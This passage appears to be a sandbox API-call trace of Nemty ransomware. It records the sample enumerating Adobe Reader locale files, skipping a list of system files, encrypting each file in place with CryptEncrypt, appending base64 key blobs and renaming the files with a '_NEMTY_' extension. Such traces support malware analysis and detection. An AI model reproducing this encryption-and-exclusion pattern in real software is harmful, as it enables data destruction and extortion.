pszString="IcwGAU8k58UPmNnaIMQRovmtIuSP0Y5ujYf8OQn3kvVjVbmuyg8m3BWhgrBEfFZe\r\nnCRsPkk+1EQcFaQZ9afuMsAoY1g3RPreloX5ZKIWFoF9cE0ufzQ3eV6oWC/r75fF\r\ngPVpGLEU+jJ6GcgGp20yjtE6ibFBF9Ijes6CE9xkmXp+3R6VU7e/zAnEghvbuGpW\r\nPvHGjE44mBrsmRiXJuIKHy1NrBJe14LQ+ivZqSo/w9VQZWGBDDRAa0SiHdOpOK1D\r\nPqM05M7nTmwEBIV0IZIIv+q3a9pFn6f0YM1x9uKgdXNr8M4PBkpsZWn9pXvYntyG\r\nA80fiAGBkzI7I29zfP21PA==\r\n", pcchString=0x653e5dc) returned 1 [0175.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\accessibility.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.530] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45568) returned 1 [0175.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb200) returned 0x6352c48 [0175.530] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.530] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb200, lpOverlapped=0x0) returned 1 [0175.535] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.535] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb200, lpOverlapped=0x0) returned 1 [0175.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.535] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200 [0175.535] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.535] CloseHandle (hObject=0x2e8) returned 1 [0175.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0175.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0175.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0175.536] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\accessibility.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\accessibility.esp._nemty_kgobjgd_")) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.536] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.ESP", cAlternateFileName="")) returned 1 [0175.536] lstrcmpiW (lpString1="Acroform.ESP", lpString2=".") returned 1 [0175.536] lstrcmpiW (lpString1="Acroform.ESP", lpString2="..") returned 1 [0175.536] lstrcmpiW (lpString1="Acroform.ESP", lpString2="...") returned 1 [0175.536] lstrcmpiW (lpString1="Acroform.ESP", lpString2="windows") returned -1 [0175.536] lstrcmpiW (lpString1="Acroform.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.536] lstrcmpiW (lpString1="Acroform.ESP", lpString2="rsa") returned -1 [0175.536] lstrcmpiW (lpString1="Acroform.ESP", lpString2="NTDETECT.COM") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="ntldr") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="MSDOS.SYS") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="IO.SYS") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="boot.ini") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="boot.ini") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="AUTOEXEC.BAT") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="ntuser.dat") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="desktop.ini") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="CONFIG.SYS") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="RECYCLER") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="BOOTSECT.BAK") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="bootmgr") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="programdata") returned -1 [0175.537] lstrcmpiW (lpString1="Acroform.ESP", lpString2="appdata") returned -1 [0175.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.538] Sleep (dwMilliseconds=0x5) [0175.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c479590, dwHighDateTime=0x1d561e8)) [0175.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c479590, dwHighDateTime=0x1d561e8)) [0175.545] GetLastError () returned 0x0 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.545] GetLastError () returned 0x0 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.545] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.545] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.545] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.545] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="CiqUlXrfgiluYXt52vjHPKYMs+tdbiT2Dl576LEWClnNjtFe97kptdEv0O7dBEzb\r\nDABhuEGH1/XAQrFGwycZ0rJT8c4vO9IywlmUtodL0m5GsZZjKu6usS6TJ0z6z/R6\r\nT05m8D7V1o2Xbq0PjiMPqjY1x1yK3hfVEB+dvS6YEQCVxmPW3HGXT2NFXrDkFvD6\r\nRTKgutbnpHN2GtwPxivEi36iwypEDCI3BPVllMoWiaC151XupwNjxj3hKUiA0naZ\r\n5Mq/v0JvnCfxYMfbf076KVs7jSdyJYPA2W5b4sBBG9C0GBrYsqldwKlGqlabWLxJ\r\nIA/c+tXtzRWa8Hjp6WB7mA==\r\n", pcchString=0x653e5dc) returned 1 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\acroform.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.546] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=446976) returned 1 [0175.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.546] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.555] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.555] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.555] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=446976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d200 [0175.555] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.557] CloseHandle (hObject=0x2e8) returned 1 [0175.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.557] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\acroform.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\acroform.esp._nemty_kgobjgd_")) returned 1 [0175.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.558] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.ESP", cAlternateFileName="ADOBEC~1.ESP")) returned 1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2=".") returned 1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="..") returned 1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="...") returned 1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="windows") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="rsa") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="NTDETECT.COM") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="ntldr") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="MSDOS.SYS") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="IO.SYS") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="boot.ini") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="boot.ini") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="AUTOEXEC.BAT") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="ntuser.dat") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="desktop.ini") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="CONFIG.SYS") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="RECYCLER") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="BOOTSECT.BAK") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="bootmgr") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="programdata") returned -1 [0175.558] lstrcmpiW (lpString1="AdobeCollabSync.ESP", lpString2="appdata") returned -1 [0175.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ESP", lpUsedDefaultChar=0x0) returned 19 [0175.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0175.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ESP", lpUsedDefaultChar=0x0) returned 19 [0175.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0175.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ESP", lpUsedDefaultChar=0x0) returned 19 [0175.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ESP", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ESP", lpUsedDefaultChar=0x0) returned 19 [0175.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 